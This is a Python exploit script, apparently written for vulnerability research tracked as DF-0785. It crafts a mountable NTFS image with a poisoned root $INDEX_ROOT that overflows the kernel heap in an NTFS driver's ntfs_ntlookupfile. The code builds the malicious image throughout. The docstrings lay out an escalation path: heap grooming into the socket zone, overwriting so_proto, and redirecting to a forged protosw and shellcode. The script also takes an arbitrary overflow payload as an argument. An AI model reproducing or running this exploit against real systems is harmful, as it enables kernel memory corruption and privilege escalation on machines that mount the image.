#!/usr/bin/env python3
"""
DF-0785 NTFS image crafter.

Builds a minimal, mountable NTFS filesystem image from scratch (no mkntfs /
ntfs-3g needed) and poisons the root directory's resident $INDEX_ROOT (type
0x90, "$I30") so that the in-record `ir_size` field is SMALLER than the
attribute's resident data length (va_datalen).

In ntfs_ntlookupfile (sys/vfs/ntfs/ntfs_subr.c):

    blsize = vap->va_a_iroot->ir_size;     // :867  <-- allocation size
    rdsize = vap->va_datalen;              // :868  <-- copy size
    ...
    rdbuf = kmalloc(blsize, M_TEMP, M_WAITOK);                 // :888
    error = ntfs_readattr(ntmp, ip, NTFS_A_INDXROOT, "$I30",
                          0, rdsize, rdbuf, NULL);             // :890-891

There is NO check that rdsize <= blsize.  When ir_size < va_datalen, the
ntfs_readattr -> memcpy writes `rdsize` attacker-controlled bytes (the resident
$INDEX_ROOT data we craft here) into a `blsize`-byte heap object -> kernel heap
overflow.

Compare the sibling reader ntfs_ntreaddir (:1105) which DOES size correctly:
    kmalloc(max(vap->va_datalen, fp->f_dirblsz), M_NTFSDIR, M_WAITOK);

The image only needs to be valid enough for mount_ntfs() to succeed and for a
single name lookup (stat /mnt/anything, i.e. a non-"." non-".." component) to
reach ntfs_ntlookupfile.  The mount path (ntfs_mountfs) requires boot-sector
sysid "NTFS    ", valid BPB, and loadable MFT records for system inodes
$MFT(0), $AttrDef(4), $Root(5), $Bitmap(6) and $UpCase(10).

Geometry (standard NTFS): bps=512, spc=8 (4096-byte cluster),
mftrecsz=0xF6 => MFT record = 2 sectors = 1024 bytes.

Usage:
    craft_img.py [out.img] [ir_size] [va_datalen]
    defaults: out.img ntfs_evil.img, ir_size=16, va_datalen=200
"""

import struct
import sys

# ---- geometry ----
BPS         = 512          # bytes per sector
SPC         = 8            # sectors per cluster  -> cluster = 4096
CLU         = BPS * SPC    # 4096
MFTRECSZ    = 0xF6         # -10 => record = 2**10 = 1024 bytes, bpmftrec=2 sect
RECSZ       = 1024         # MFT record size in bytes
NCLUSTERS   = 128          # volume size in clusters (512 KB)
MFTCN       = 2            # $MFT starts at cluster 2
# Record i is at byte  MFTCN*CLU + i*RECSZ  (since bpmftrec*bps = 1024 = RECSZ)
UPCASE_CN   = 34           # cluster where $UpCase non-resident data lives
UPCASE_NCLU = 32           # 32 * 4096 = 131072 = 65536 * sizeof(wchar)

FILE_MAGIC  = 0x454C4946   # "FILE"
FIXUP_OFF   = 0x30         # fh_foff: fixup array lives at record offset 48
FIXUP_VAL   = 0xA001       # arbitrary signature stamped at sector ends

# ---- NTFS attribute type constants ----
A_STD, A_NAME, A_DATA, A_INDXROOT = 0x10, 0x30, 0x80, 0x90


def le16(v): return struct.pack("<H", v & 0xFFFF)
def le32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)


def boot_sector():
    """struct bootfile (packed) + standard NTFS BPB filler."""
    b = bytearray(BPS)
    b[0:3]   = b"\xEB\x52\x90"          # jmp near
    b[3:11]  = b"NTFS    "              # bf_sysid
    struct.pack_into("<H", b, 11, BPS)  # bf_bps
    b[13]    = SPC                      # bf_spc
    b[21]    = 0xF8                     # bf_media
    struct.pack_into("<H", b, 24, 32)   # bf_spt
    struct.pack_into("<H", b, 26, 2)    # bf_heads
    struct.pack_into("<Q", b, 40, NCLUSTERS * SPC)  # bf_spv (sectors)
    struct.pack_into("<Q", b, 48, MFTCN)            # bf_mftcn
    struct.pack_into("<Q", b, 56, 64)               # bf_mftmirrcn (unused)
    b[64]    = MFTRECSZ                 # bf_mftrecsz
    struct.pack_into("<I", b, 65, 4096) # bf_ibsz
    struct.pack_into("<I", b, 69, 0xDEADBEEF)  # bf_volsn
    return bytes(b)


def resident_attr(atype, datalen, data, name="", reclen_pad=8):
    """Build a resident attribute record (struct attr, packed).

    Layout: attrhdr(16) + resident fields(8) + name(namelen*2) + data.
    nameoff -> just after the 24-byte header; dataoff -> after the name.
    """
    wname = name.encode("utf-16-le") if name else b""
    namelen = len(name)  # number of wchars
    nameoff = 0x18       # 24
    dataoff = nameoff + len(wname)
    reclen  = dataoff + datalen
    reclen  = (reclen + reclen_pad - 1) & ~(reclen_pad - 1)
    buf = bytearray(reclen)
    # attrhdr
    struct.pack_into("<I", buf, 0, atype)     # a_type
    struct.pack_into("<I", buf, 4, reclen)    # a_hdr.reclen
    buf[8]  = 0                               # a_flag (resident)
    buf[9]  = namelen                         # a_namelen
    buf[10] = nameoff & 0xFF                  # a_nameoff
    buf[11] = 0                               # reserved1
    buf[12] = 0                               # a_compression
    buf[13] = 0                               # reserved2
    struct.pack_into("<H", buf, 14, 0)        # a_index
    # resident fields (a_S_r) at offset 16
    struct.pack_into("<H", buf, 16, datalen)  # a_datalen
    struct.pack_into("<H", buf, 18, 0)        # reserved1
    struct.pack_into("<H", buf, 20, dataoff)  # a_dataoff
    struct.pack_into("<H", buf, 22, 0)        # a_indexed
    # name + data
    buf[nameoff:dataoff] = wname
    buf[dataoff:dataoff + len(data)] = data[:datalen]
    return bytes(buf)


def nonresident_data_attr(runs_bytes, allocated, datalen):
    """Build a non-resident $DATA attribute (no name)."""
    dataoff = 0x40  # 64
    reclen = dataoff + len(runs_bytes)
    reclen = (reclen + 7) & ~7
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, A_DATA)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0x01                       # a_flag = NTFS_AF_INRUN (non-resident)
    buf[9]  = 0                          # namelen
    buf[10] = dataoff & 0xFF             # nameoff
    # non-resident fields at offset 16
    struct.pack_into("<Q", buf, 16, 0)             # vcnstart
    ncu = datalen // CLU
    struct.pack_into("<Q", buf, 24, ncu - 1)        # vcnend (cluster-indexed)
    struct.pack_into("<H", buf, 32, dataoff)        # a_dataoff
    struct.pack_into("<H", buf, 34, 0)              # compressalg
    struct.pack_into("<I", buf, 36, 0)              # reserved1
    struct.pack_into("<Q", buf, 40, allocated)      # allocated
    struct.pack_into("<Q", buf, 48, datalen)        # datalen
    struct.pack_into("<Q", buf, 56, datalen)        # initialized
    buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes
    return bytes(buf)


def term_attr():
    b = bytearray(8)
    struct.pack_into("<I", b, 0, 0xFFFFFFFF)  # a_type == -1 ends attr list
    return bytes(b)


def mft_record(seqnum, nlink, flags, attrs_bytes):
    """Assemble a 1024-byte FILE record with valid fixups + attribute list."""
    rec = bytearray(RECSZ)
    # fixuphdr
    struct.pack_into("<I", rec, 0, FILE_MAGIC)
    struct.pack_into("<H", rec, 4, FIXUP_OFF)   # fh_foff
    struct.pack_into("<H", rec, 6, RECSZ // BPS + 1)  # fh_fnum = 3
    # filerec body
    struct.pack_into("<H", rec, 16, seqnum)     # fr_seqnum
    struct.pack_into("<H", rec, 18, nlink)      # fr_nlink
    attroff = 0x38                              # 56
    struct.pack_into("<H", rec, 20, attroff)    # fr_attroff
    struct.pack_into("<H", rec, 22, flags)      # fr_flags
    used = attroff + len(attrs_bytes)
    struct.pack_into("<I", rec, 24, used)       # fr_size
    struct.pack_into("<I", rec, 28, RECSZ)      # fr_allocated
    struct.pack_into("<Q", rec, 32, 0)          # fr_mainrec
    struct.pack_into("<H", rec, 40, 0)          # fr_attrnum
    # fixup array at FIXUP_OFF: [value, e1, e2] (lives in the header region,
    # before attroff, so it never overlaps attribute data)
    struct.pack_into("<HHH", rec, FIXUP_OFF, FIXUP_VAL, FIXUP_VAL, FIXUP_VAL)
    # attributes first (large resident attrs can reach sector boundary 510)
    rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes
    # stamp sector-end signatures LAST so procfixups accepts them even where
    # resident attribute data crosses the 510/1022 boundary (the stamp must
    # equal FIXUP_VAL; ntfs_procfixups then overwrites it with array[1]).
    struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL)        # offset 510
    struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL)      # offset 1022
    return bytes(rec)


def index_root_data(ir_size, datalen, overflow_payload=None):
    """Resident $INDEX_ROOT data: attr_indexroot header (32 B) + an entry region.

    The header's ir_size is the EVIL field (small / chosen allocation size).
    va_datalen (set by the resident attribute wrapper) is the larger copy length.

    Layout of the resident data buffer (== what ntfs_readattr memcpy's into rdbuf):
      [0 .. 31]                    attr_indexroot header (ir_size etc.)
      [32 .. datalen-1]            index-entry region (attacker-controlled)
    The kmalloc'd rdbuf is `ir_size` bytes; bytes [ir_size .. datalen-1] are the
    OVERFLOW into the next slab chunk (the victim object).  For the DF-0785
    escalation we seat rdbuf in zone 34 (ir_size=704, same zone as struct socket)
    and write a 24-byte payload at data[704..727] which lands in the victim
    socket's so_type..so_proto fields (so_proto -> forged protosw -> shellcode).

    overflow_payload (bytes): if given, written at data[ir_size : ir_size+len].
    """
    hdr = bytearray(32)
    struct.pack_into("<I", hdr, 0, 0x30)        # ir_unkn1
    struct.pack_into("<I", hdr, 4, 0x01)        # ir_unkn2
    struct.pack_into("<I", hdr, 8, ir_size)     # ir_size   <-- ALLOC size
    struct.pack_into("<I", hdr, 12, 1)          # ir_unkn3 (clusters/idxblk)
    struct.pack_into("<I", hdr, 16, 0x10)       # ir_unkn4
    struct.pack_into("<I", hdr, 20, datalen - 32)  # ir_datalen (entries size)
    struct.pack_into("<I", hdr, 24, datalen - 32)  # ir_allocated
    struct.pack_into("<H", hdr, 28, 0x01)       # ir_flag (no INDXALLOC)
    struct.pack_into("<H", hdr, 30, 0x00)       # ir_unkn7
    # A single "last" index entry so the scan loop terminates immediately and
    # ntfs_ntlookupfile returns ENOENT cleanly.  This isolates the bug to the
    # ntfs_readattr memcpy (the OOB WRITE): the loop does not complicate the
    # demonstration.  The overflow has already happened by the time the loop runs.
    entry = bytearray(datalen - 32)
    struct.pack_into("<I", entry, 16, 0x00000002)  # ie_flag = NTFS_IEFLAG_LAST
    struct.pack_into("<H", entry, 8, len(entry))   # reclen = rest of data
    # Fill the attacker-controlled overflow bytes with a recognisable pattern so
    # the corruption extent is visible in a slab-region hex dump.
    for i in range(82, len(entry) - 4, 4):
        entry[i:i+4] = struct.pack("<I", 0x41424344)  # "DCBA"
    # Place the escalation overflow payload at data[ir_size : ir_size+len],
    # i.e. entry[(ir_size-32) : (ir_size-32)+len] -- the bytes that overflow
    # into the victim object (the next slab chunk in the same zone page).
    if overflow_payload is not None:
        off = ir_size - 32                       # offset within entry
        if off < 0 or off + len(overflow_payload) > len(entry):
            raise ValueError("overflow payload does not fit in entry region")
        entry[off:off + len(overflow_payload)] = overflow_payload
    return bytes(hdr) + bytes(entry)


def attrdef_data():
    """$AttrDef $DATA: one valid entry + a zero terminator (2 * 160 B)."""
    e0 = bytearray(160)
    name = "$STANDARD_INFORMATION"
    for i, ch in enumerate(name):
        struct.pack_into("<H", e0, i * 2, ord(ch))
    struct.pack_into("<I", e0, 128, A_STD)      # ad_type
    e1 = bytearray(160)                          # all-zero terminator
    return bytes(e0) + bytes(e1)


def upcase_table():
    """65536 wchars identity lower->upper (content irrelevant for the trigger)."""
    return b"".join(struct.pack("<H", i) for i in range(65536))


def runs_encode(cluster, length):
    """Minimal single-run encoding: header 0x11, len, off, 0x00 terminator."""
    return bytes([0x11, length & 0xFF, cluster & 0x7F, 0x00])


def build(out_path, ir_size, va_datalen, overflow_payload=None):
    img = bytearray(NCLUSTERS * CLU)
    img[0:BPS] = boot_sector()

    # --- MFT record 0: $MFT, regular file w/ tiny resident $DATA ---
    rec0 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, 8, b"\x00" * 8) + term_attr())
    off = MFTCN * CLU + 0 * RECSZ
    img[off:off + RECSZ] = rec0

    # --- MFT record 4: $AttrDef, regular file w/ resident $DATA (320 B) ---
    ad = attrdef_data()
    rec4 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(ad), ad) + term_attr())
    off = MFTCN * CLU + 4 * RECSZ
    img[off:off + RECSZ] = rec4

    # --- MFT record 5: root directory "." (BUG TARGET) ---
    # resident $INDEX_ROOT "$I30" with ir_size < va_datalen
    iroot = index_root_data(ir_size, va_datalen, overflow_payload)
    idxroot_attr = resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30")
    NTFS_FRFLAG_DIR = 0x0002
    rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR, idxroot_attr + term_attr())
    off = MFTCN * CLU + 5 * RECSZ
    img[off:off + RECSZ] = rec5

    # --- MFT record 6: $Bitmap, regular file w/ resident $DATA (16 B, all used) ---
    bmp = b"\xFF" * 16
    rec6 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(bmp), bmp) + term_attr())
    off = MFTCN * CLU + 6 * RECSZ
    img[off:off + RECSZ] = rec6

    # --- MFT record 10: $UpCase, regular file w/ NON-RESIDENT $DATA (128 KB) ---
    runs = runs_encode(UPCASE_CN, UPCASE_NCLU)
    nr = nonresident_data_attr(runs, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU)
    rec10 = mft_record(1, 1, 0, nr + term_attr())
    off = MFTCN * CLU + 10 * RECSZ
    img[off:off + RECSZ] = rec10

    # --- $UpCase data region at cluster UPCASE_CN ---
    uo = UPCASE_CN * CLU
    img[uo:uo + UPCASE_NCLU * CLU] = upcase_table()

    with open(out_path, "wb") as f:
        f.write(img)

    print(f"[+] wrote {out_path} ({len(img)} bytes)")
    print(f"[+] geometry: bps={BPS} spc={SPC} cluster={CLU} "
          f"mftrecsz=0x{MFTRECSZ:02X} mftrec={RECSZ} mftcn={MFTCN}")
    print(f"[+] root $INDEX_ROOT: ir_size(blsize/ALLOC)={ir_size}  "
          f"va_datalen(rdsize/COPY)={va_datalen}  "
          f"OVERFLOW = {va_datalen - ir_size} bytes past {ir_size}-byte object")
    print(f"[+] ir_size field @ root-record resident-data offset 8 "
          f"(byte {MFTCN*CLU + 5*RECSZ + 0x38 + 0x20 + 8} in image)")


if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "ntfs_evil.img"
    irsz = int(sys.argv[2]) if len(sys.argv) > 2 else 16
    vdl = int(sys.argv[3]) if len(sys.argv) > 3 else 200
    # optional: hex overflow payload (no 0x prefix), e.g. the so_proto hijack bytes
    ovf = None
    if len(sys.argv) > 4:
        ovf = bytes.fromhex(sys.argv[4])
    build(out, irsz, vdl, ovf)